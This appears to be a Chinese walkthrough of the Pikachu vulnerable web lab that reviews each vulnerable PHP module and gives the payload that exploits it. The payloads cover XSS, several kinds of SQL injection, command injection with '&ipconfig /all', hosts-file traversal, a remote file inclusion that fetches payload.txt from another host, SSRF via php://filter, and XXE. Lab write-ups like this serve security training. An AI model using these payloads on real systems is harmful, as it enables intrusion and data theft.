Pikachu靶场攻略(代码分析)

news2024/9/22 11:31:12

2023年将会持续于B站、CSDN等各大平台更新,可加入粉丝群与博主交流:838681355,为了老板大G共同努力。

一、安装

Phpstudy_pro设置数据库用户名密码 root 123456
在这里插入图片描述
更改\pikachu\inc\config.inc.php
在这里插入图片描述
访问pikachu页面点击配置即可。

二、 攻略(包含审计)

1.暴力破解

1.1关于表单的暴力破解

重点代码:
在这里插入图片描述
含义:POST方式传入用户名密码,做了一个与数据库交互的方式。
跟进prepare,查看是对sql语句做了一个预编译的情况,bind_param做传参。
接下来就是做了一个判断用户名密码的对错返回html页面中回显。
复现:bp爆破即可
在这里插入图片描述
admin/123456;pikachu/00000;test/abc

1.2验证码绕过(on server)

重点代码:
在这里插入图片描述
含义:POST提交,需要传入username/password/vcode参数,strtolower函数对验证码做了一个转小写的操作。
核心问题代码:
在这里插入图片描述
Session值是临时会话验证,没有被销毁,可以用同样得session值进行爆破绕过。
所以验证码是可以重复使用,通过验证码重复使用漏洞来做暴力破解

1.3验证码绕过(on client)

同上没毛病,对用户名和密码做了验证,这次是多了个对验证码做了刷新验证:
在这里插入图片描述
问题出自只对验证码做了前端的一个刷新认证,没有到后端这块,所以可以绕过前端做暴力破解行为。

1.4 token防爆破

重点代码:
在这里插入图片描述
添加了一个token值传入验证,
问题代码:
在这里插入图片描述
代码是说每次都会输出一个token值作为使用,只要每次爆破做token值替换即可进行暴力破解。
下述功能:从响应代码中提取参数值进行替换作爆破。
在这里插入图片描述

2.Cross-Site-Scripting(XSS)

2.1反射性XSS(get)

危险函数:echo
在这里插入图片描述
看上下文:追踪变量$html
在这里插入图片描述
<p class=’notice’>输入’kobe’试试</p>
传入Html变量中,如果不赋予html变量kobe,将走下一步。
没有拦截限制直接GET方式传入html变量中,问题代码如下:
在这里插入图片描述
字段长度做了一个限制,只要前端改改就可以绕过,或者采用较短的XSS语句去绕

2.2反射性XSS(post)

主要代码:
在这里插入图片描述
POST传输,跟进escape:
在这里插入图片描述
对传入得username/password做了一个转义处理,抓包查看:
在这里插入图片描述
登录成功后做一个跳转至xss_reflected_post.php:
主要代码:
在这里插入图片描述
问题代码:
在这里插入图片描述
正常payload走一遍:
在这里插入图片描述
将post参数传入了变量$html中,最后<br />打印到页面中
在这里插入图片描述

2.3存储型XSS

主要代码:
在这里插入图片描述
问题代码:
在这里插入图片描述
存储XSS是通过变量$html输出,但如果不选择走存储XSS,这里还有个sql-delete注入,分析,首先通过转义传入,做了一个判断,然后接下来走sql语句交互:
在这里插入图片描述
通过get方式传入id参数来进行数据库交互做删除处理,再往下看:
在这里插入图片描述
输出到页面,无拦截,可以留言后点击删除抓包即可看到id=xxx,做sql注入。

2.4 DOM型XSS

主要代码:
在这里插入图片描述
GET方式传入text参数,往下看:
输入给参数text代码:
在这里插入图片描述
问题代码:
在这里插入图片描述
首先是通过text传进来,用了一个’”+str+”’,单引号进行闭合,所以需要绕过单引号,另外是尖括号做包裹,XSS代码需要跳出去,所以可以用'><img src="#" onmouseover="alert('xss')">绕过。

2.5 DOM型XSS-X

主要代码:
在这里插入图片描述
问题代码:
在这里插入图片描述
输出代码:
在这里插入图片描述
主要绕过的问题是做了一个replace(/+/g,’ ‘);做了一个对反斜杠的一个过滤。

2.6 XSS之盲打

在这里插入图片描述
将数据提交到了后台,登录/admin.php后方可看到。

2.7 XSS之过滤

主要代码:
在这里插入图片描述
做了<script标签的过滤,只需要<SCRIPT>ALERT(1)</SCRIPT>全部置换为大写,就可以绕过小写的过滤。

2.8 XSS之htmlspecialchars

主要代码:
在这里插入图片描述
但是做了三个变量的判断,用htmlspecialchars做尖括号过滤
Payload=’ οnclick=‘alert(111)’

2.9 XSS之href输出

主要代码:
在这里插入图片描述
将输入的数直接付给变量$html中,然后做一个点击标签get方式的访问,也是做了一个html尖括号过滤。
Pyload=javascript:alert(1)

2.10 XSS之js输出

主要代码:
在这里插入图片描述
问题代码:
在这里插入图片描述
要先通过同样的标签进行闭合:payload:</script><script>alert(1)</script>即可绕过
有个巧妙的地方:从代码中可以看到//$jsvar=htmlspecialchars($_GET[‘message’]
当把注释符去掉,其实从逻辑中可以看出一样东西,如果要进行xss注入,要先用标签</script>进行闭合行为,而htmlspecialchars可以过滤掉</>标签,而进行闭合发生了错误,自然就注入失败。

3. CSRF

3.1 CSRF_GET

Csrf_get_login.php做了登录页面跳转:
在这里插入图片描述
跳转到csrf_get.php后可以做信息修改:
在这里插入图片描述
进行修改跳转csrf_get_edit.php中:
在这里插入图片描述
这里做出了一个修改操作,但是没有验证cookie值,可以造成csrf漏洞,以get方式传输。

3.2 CSRF_POST

跟上述差别不大,只是换了种传输方式:
在这里插入图片描述

3.3 CSRF_TOKEN

Token:令牌,和Session,Cookie一样,都是身份标识,Token通常存在于URL和Cookie中,它是用于防止CSRF漏洞的。跟上述差不多,但问题代码在:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
用该token值做CSRF即可。

4.SQL

4.1 sqli_数字型(数字型注入)

主要代码:
在这里插入图片描述
用POST方式将变量id直接赋在语句当中,没有做任何拦截,根据值判断是数字型注入:
Payload=id=-4990 UNION ALL SELECT CONCAT(0x7162707a71,0x486b52555a50786a5344594746686f586d5546776b667a646363636d707050766e736954544c4374,0x71716a7071),6284-- -&submit=%E6%9F%A5%E8%AF%A2

4.2 sqli_字符型(字符型注入)

主要代码:
在这里插入图片描述
GET方式传给$name,用到一个单引号包裹,做字符型注入,会发现输入东西后,是用GET方式进行传输:
在这里插入图片描述
Payload=id=GTID_SUBSET(CONCAT(0x7162707a71,(SELECT (ELT(2418=2418,1))),0x71716a7071),2418)&submit=%E6%9F%A5%E8%AF%A2

4.3 sqli_搜索型(字符型注入)

主要代码:
在这里插入图片描述
危险函数:like模糊查询
可以看到使用到了’%%’来进行包裹变量,用get传输方式,但是只要用一个单引号来做前面的闭合即可进行sql注入,但在判断字段时应该先闭合%,就是%’这种方式将前面的闭合。
Payload=name=123’ AND GTID_SUBSET(CONCAT(0x7176717171,(SELECT (ELT(3787=3787,1))),0x716a7a7671),3787)-- ICmK&submit=%E6%90%9C%E7%B4%A2
XSS彩蛋:
在这里插入图片描述
根据闭合情况,其实就可以做出payload:%’ ><script>alert(1)</script>即可绕过

4.4 sqli_xx型 (字符型注入)

主要代码:
在这里插入图片描述
做了一个(‘’)包裹,只需要绕过即可,先做出闭合判断:’) or 1 = 1#,然后再慢慢爆.

4.5 sqli_insert/update(注册/修改报错注入)

Insert:
先看登录页面代码:
在这里插入图片描述
Md5做了password的处理,这里不会走程序把输入的值转码,查看登录后跳转页面sqli_mem.php:
在这里插入图片描述
这是个问题代码,对传入的username的值只做了单引号的包裹,绕过即可注入。
但是有个问题,在$username=$_SESSION[‘sqli’][‘username’]中,username只是负责传递但不是作为在修改处的可控变量,出自跳转页面:sqli_edit.php:
在这里插入图片描述
所以回到注册处,是发现未将username转义,传入进去,导致报错,核心问题代码:
在这里插入图片描述
构造payload=’ or updatexml(1,concat(0x7e,database()),0) or ’
Update:
关键变量是$sex,主要代码在sqli_edit.php修改处:
在这里插入图片描述
可以看到sex是拼入sql语句中,也是只需要闭合单引号即可,payload:payload=’ or updatexml(1,concat(0x7e,database()),0) or ',插入到修改处的性别即可。

4.6 sqli_del(删除注入)

主要代码:
在这里插入图片描述
首先是是对传入来的参数做了一个escape转义处理,然后传进去,这里做不了post注入,问题出自下面,在删除过程中,没有对id的值做处理,也没有其他过滤,payload= 1+or+updatexml(1,concat(0x7e,database()),0)

4.7 sqli_header_http

登录页面代码:
在这里插入图片描述
对username、password都做了一个转义,登录跳转至sqli_header.php看看:
在这里插入图片描述
问题代码:$query="insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport')";
变量有$is_login_id$remoteipadd$useragent$httpaccept$remoteport,burpsuite抓包查看数据包找到这几个变量即可,需要做单引号闭合的操作,payload= ’ or updatexml(1,concat(0x7e,database()),0) or ’

4.8 sqli_盲注(base on boolian)

盲注特征:
1.没有报错信息
2.不管是正确的输入,还是错误的输入,都只显示两种情况(我们可以认为是0或者1)
3.在正确的输入下,输入and 1= 1/and 1= 2发现可以判断
主要代码:
在这里插入图片描述
直接传入sql语句拼接,需要绕过单引号做闭合,另外是存在mysql_query,不打印错误描述:
在这里插入图片描述
Payload=kobe’ and ascii(substr(database(),1,1))>111#

4.9 sqli_盲注(base on time)

主要代码:
在这里插入图片描述
要考虑单引号闭合,和上述一样,但是由于服务器有执行时间,所以是基于时间的盲注。
Payload=kobe’ and if((substr(database(),1,1))=‘p’,sleep(5),null)#

4.10 sqli_宽字节注入

主要代码:
在这里插入图片描述
关键代码:$set = "set character_set_client=gbk";
当设置编码为gbk时,由于转义的方式可以造成宽字节注入,绕单引号做闭合即可。
抓包将$name修改即可。
Payload=1%df’ or 1=1#

5.RCE

5.1 RCE_ping

主要代码:
在这里插入图片描述
Post方式传入ipaddress,然后是赋给变量$ip,到后面直接执行命令shell_exec(‘ping’).$ip,ping已固定,可变是$ip,相当于系统已经是固定好了ping xxx,直接输入一个ip地址即可。
Payload=192.168.x.xx&ipconfig /all

5.2 RCE_eval

主要代码:
在这里插入图片描述
问题代码:if(@!eval($_POST[‘txt’])){,eval直接做执行,验证payload=phpinfo();

6.fileinclude(文件包含)

6.1 fi_local(本地文件包含)

主要代码:
在这里插入图片描述
可控变量:filename,访问之后可以读取该本地内的其他文件,payload=filename=…/…/…/…/Windows/System32/drivers/etc/hosts&submit=提交查询#

6.2 fi_remote(远程文件包含)

关键问题是php.ini配置文件中:allow_url_include=ON时存在。
主要代码:
在这里插入图片描述
在本地写一个payload.txt文件,内容是<?php phpinfo();?>
Payload=/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.1.13/pikachu/payload.txt&submit=提交查询
查看效果:
在这里插入图片描述

7.Unsafe fildownload(任意文件下载)

Execdownload.php中做了一个验证判断:
在这里插入图片描述
这里都没什么问题,问题代码和文件包含处一样:
在这里插入图片描述
使用了filename的函数,而filename变成了一个可读变量,payload=http://192.168.43.241/pikachu-master/vul/unsafedownload/execdownload.php?filename=…/…/phpinfo.php

8.Unsafe Fileupload(任意文件上传)

8.1 client check

主要代码:
在这里插入图片描述
传入的文件中,对文件上传做了一些限制,跟进upload_client函数:
在这里插入图片描述
看了一看,只要不要超过Php.ini配置文件中大小,就可以上传成功,无拦截。

8.2 MIME type

问题代码:
在这里插入图片描述在这里插入图片描述
对上传的文件做了一个图片的识别,绕过即可。

8.3 getimagesize

主要代码:
在这里插入图片描述在这里插入图片描述
这次做了一个很严格的判断,但是可以上传图片马通过文件包含漏洞配合来执行php。

9.Over Permission

9.1水平越权

登录口代码:
![在这里插入图片描述](https://img-blog.csdnimg.cn/78dbd915253d4957a7e6bc982ba0efdc.png跳转到后台op1_mem.php处:问题代码
在这里插入图片描述
通过了传入的username的值来做判断返回相应的信息,只要抓包修改成另一个用户的名字即可拿到另一名用户的信息。

9.2垂直越权

主要代码:
在这里插入图片描述
问题在于登录时变量$_SESSION传入的level来决定进入的页面,修改级别1即可进入admin.php管理员页面,但是level值不是作为变量可控,所以可控变量应该为$_SESSION,通过抓取添加用户页面op2_admin_edit,抓包用user用户来做添加,成功即可说明垂直越权,问题代码:
在这里插入图片描述

10.目录遍历

问题代码:
在这里插入图片描述
Payload=/pikachu/vul/dir/dir_list.php?title=…/dir.php

11.PHP反序列化

危险函数:unserialize/serialize
Payload=O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
核心代码:
在这里插入图片描述

常见的几个魔法函数: 
__construct()当一个对象创建时被调用         
__destruct()当一个对象销毁时被调用          
__toString()当一个对象被当作一个字符串使用          
__sleep() 在对象在被序列化之前运行          
__wakeup将在序列化之后立即被调用

12.XXE

XML:

<!--第一部分: XML声明-- >
<?xml version="1.0"?>
<!--第二部分:文档类型定义DTID- >
<!DOCTYPE note[ <!--定义此文档是 note类型的文档--> 
<!ENTITY entity - name SYSTEM "URL/URL"> <!- 外部实体声 明-->
]]>
<1--第三部分:文档元>
<note>
<to>Dave</to>
<from> Tom</from>
<head> Reminder </head>
<body>You are a good man</body>
</note>

DTD:
1.DTD内部声明
<!DOCTYPE 根元素[元素声明]>
2. DTD外部引用
<!DOCTYPE根元素名称SYSTEM “"外部DTD的URI" >
3.引用公共DTD
<!DOCTYPE根元素名称PUBLIC "DTD标识名” “公用DTD的URI” >
问题代码:
在这里插入图片描述
主要是添加了LIBXML_NOENT参数开启了外部实体解析导致漏洞。
Payload=<?xml version = "1.0"?>
<!DOCTYPE note [ <!ENTITY hacker "xxe"> ]>
<name>&hacker;</name>

13.URL重定向

主要问题代码:
在这里插入图片描述
url可控

14.SSRF

14.1 ssrf_curl

危险函数由两个判断:curl_exec、curl_close
先来看意思:
在这里插入图片描述在这里插入图片描述
关键代码:
在这里插入图片描述
对GET方式传入的url后面执行了cURL会话后关闭。
Payload=/pikachu/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com/

14.2 ssrf_file_get_content

关键代码:
在这里插入图片描述
危险函数:file_get_contents
Payload=/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php
/pikachu/vul/ssrf/ssrf_fgc.php?file=http://192.168.x.x/xx.index

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/188488.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

BiQuadDesigner相关算法研究

一、获取相关源码方法如下 1、打开BiQuadDesigner相关网页如下 2、菜单:更多工具->开发者工具 3、在此重点研究BiQuadDesigner,选择BiQuadDesigner下的javascript,分别查看BiQuad.js和BiQuadFilter.js 二、研究频响曲线生成步骤如下 1、参数输入及换算滤波器系数如下参…

【数据结构基础】线性表 - 栈和队列

知识点栈 - LIFO示意图实现使用数组实现的叫静态栈使用链表实现的叫动态栈队列 - FIFO示意图实现使用数组实现的叫静态队列使用链表实现的叫动态队列栈和队列相关题目用栈实现队列232. Implement Queue using Stacks (Easy)栈的顺序为后进先出&#xff0c;而队列的顺序为先进先…

【前端设计】复位保护模块的整体设计思路

前言 复位保护模块,是在单系统进行动态复位的过程中,对接口进行硬性逻辑保护,避免异步复位过程中的毛刺对周围系统产生影响的模块。一般而言,简单的单系统动态复位流程可以归纳为: 停止业务功能,收齐接口上的rsp,进入待复位状态;使能复位保护,通过逻辑避免毛刺和误触…

【SCL】博图SCL语言回顾和第一个面向对象程序

西门子SCL语言回顾复习和编写第1个面向对象程序 &#xff08;形参&#xff1a;形参指的是指令上标记该指令要使用的数据位置的标识符;简单来说就是只有数据类型&#xff0c;没有实际的地址&#xff0c;在调用时可以写入&#xff09;。 &#xff08;实参&#xff1a;实参指的是包…

并发编程学习(九):同步模式之顺序控制、交替打印

1、固定运行顺序例如&#xff1a;两个线程&#xff0c;运行是必须先2后1打印。1.1、Object之wait、notify版在同步代码块中&#xff0c;wait开始后&#xff0c;CPU将释放给另一个线程使用&#xff0c;直到①若wait(xxxx)&#xff0c;则x秒后当前线程被唤醒&#xff0c;继续占用…

STM32项目设计:基于stm32f103c8t6智能电梯系统

文章目录一、项目功能概述二、项目材料选择三、原理图设计四、PCB板设计五、主程序设计六、成品展示资料链接&#xff1a;待更新~ 哔哩哔哩视频链接&#xff1a;https://www.bilibili.com/video/BV17D4y1V7HG/?vd_sourcee5082ef80535e952b2a4301746491be0&#xff08;bilibili…

STM32G431——串口通信

蓝桥杯嵌入式——串口通信 目录 USART 电平标准-TTL 电平标准与 RS232 电平标准 232通信标准 USB转232 异步通信 串口配置 程序设计 重定向 串口发送函数 发送字符串 串口接收——中断 1.USART 通用同步异步收发器(USART)提供了一种灵活的方法与使用工业标准NRZ异…

集成测试最全详解,看完必须懂了

什么是集成测试 集成测试&#xff08;Integration Testing&#xff09;&#xff0c;也叫组装测试或联合测试。在单元测试的基础上&#xff0c;将所有模块按照设计要求&#xff08;如根据结构图&#xff09;组装成为子系统或系统&#xff0c;进行集成测试。 集成测试&#xff…

chatgpt的一些思考

结论国内同行对chatgpt的认识是不够的&#xff0c;太轻视这个模式的颠覆性认知chatgpt是对思维过程的仿真&#xff0c;rlhf过程就是通过强化学习方式在利用人思维过程训练模型chatgpt比搜索更通用化&#xff0c;搜索是对单个点信息的匹配&#xff0c;chatgpt是对思维链一个序列…

【python】多任务编程之线程、进程知识点详细总结

目录 多任务的执行方式 进程 概念 python多进程 线程 概念 python多线程 线程同步方式 线程等待 互斥锁 死锁 线程和进程对比 多任务的执行方式 进程 概念 python多进程 Windows下的main判断process进程类import multiprocessing import time def sing():for i i…

Unix环境高级编程_进程环境_启动代码,环境变量表,进程内存结构,库

这是《UNIX环境高级编程》第7章内容&#xff0c;这篇文章记录进程所需要的环境。 4 进程环境 程序加载到内存&#xff0c;运行起来后就成为了进程。就像人活着需要生活环境&#xff08;衣食住行的环境&#xff09;一样&#xff0c;进程也需要运行环境&#xff0c;进程所需要的…

Vue组件生命周期与钩子函数

组件生命周期 ​ 组件&#xff08;组件是可复用的 Vue 实例&#xff09;从创建到销毁的过程就是组件的生命周期&#xff0c;是一个时间段。 组件生命周期钩子函数 &#xff08;vue3与vue2生命周期钩子函数略有不同&#xff0c;本文以vue2为主&#xff09; ​ VUE 提供的生命…

科研快报 | 三代测序技术-海水微生物态,助力海水微生态及微生物基因组研究

PacBio研究专题二代测序读长偏短&#xff0c;环境宏基因组样品研究受到了很大限制。作者通过三代测序对来自地中海的冬季混合海水样本进行宏基因组测序。利用PacBio Sequel II平台的超长读长明显可以提升宏基因组的组装质量&#xff0c;又能显著提升MAGs质量。研究人员通过比较…

使用和登录Linux云服务器

目录 云服务器的购买 SSH登录云服务器 云服务器的购买 我们以腾讯云为例, 其他的服务器厂商也是类似。 1. 进入腾讯云官方网站&#xff1a;学生云服务器_云校园特惠套餐 - 腾讯云 (tencent.com) 2. 登陆网站(可以使用微信登陆) 3.购买云服务器 购买最低级即可&#xff0c;对于…

python - 科研文献作图复现1

记录阅读文献过程中&#xff0c;通过python复现原文的一些脚本 想要复现的文章原图如下所示 原文链接&#xff1a; https://file.scirp.org/Html/4-2430166_82999.htm 首先&#xff0c;对于原图进行简要观察。 这是一张折线图&#xff0c;绘制了6条不同颜色的折线来表示不同…

舆情监控软件免费下载,TOOM网络舆情监控软件服务流程?

舆情监测可以帮助个人和企业了解自己的网络形象&#xff0c;提高自我评价和评价能力&#xff0c;提升自我定位和竞争力。接下来简单了解舆情监控软件免费下载&#xff0c;TOOM网络舆情监控软件服务流程? 一、舆情监控软件免费下载 请登录TOOM舆情官网获取链接 1.企业客户&a…

SpringMVC(十三):SpringMVC拦截器介绍使用

文章目录 SpringMVC拦截器介绍使用 前言 一、拦截器使用 二、拦截器内容详解 1、preHandle方法 2、postHandle方法 3、afterCompletion方法 三、多个拦截器执行顺序 SpringMVC拦截器介绍使用 前言 在之前的系列文章里&#xff0c;我们学习了过滤器的知识。过滤器的作…

ejs模板在Express框架中的集成

在上一篇内容中已经使用了pug模板&#xff0c;那么本篇就来了解一下ejs模板在Express框架中的集成使用&#xff0c;ejs模板也是常用的模板引擎&#xff0c;支持在标签内直接编写javascript代码&#xff0c;通过javascript代码就能够生成HTML页面的&#xff0c;通过本期对ejs模板…

C++字符串全排列(递归法)和(迭代法)以及next_permutation底层原理详解

目录前言next_permutation的使用实现全排列的两种算法1. 递归法(全排列方便理解记忆的方法&#xff0c;作为备用方法)实现代码(无重复元素情况)有重复元素情况2. 迭代法(next_permutation底层原理)实现代码(有无重复不影响)前言 next_permutation/prev_permutation是C STL中的…

全国青少年软件编程(Python)等级考试一级考试真题2022年12月——持续更新.....

1.关于Python语言的注释,以下选项中描述错误的是?( ) A.Python语言有两种注释方式:单行注释和多行注释 B.Python语言的单行注释以#开头 C.Python多行注释使用###来做为标记 D.注释用于解释代码原理或者用途 正确答案:C 2.下列代码执行后最有可能绘制出的图形是?(…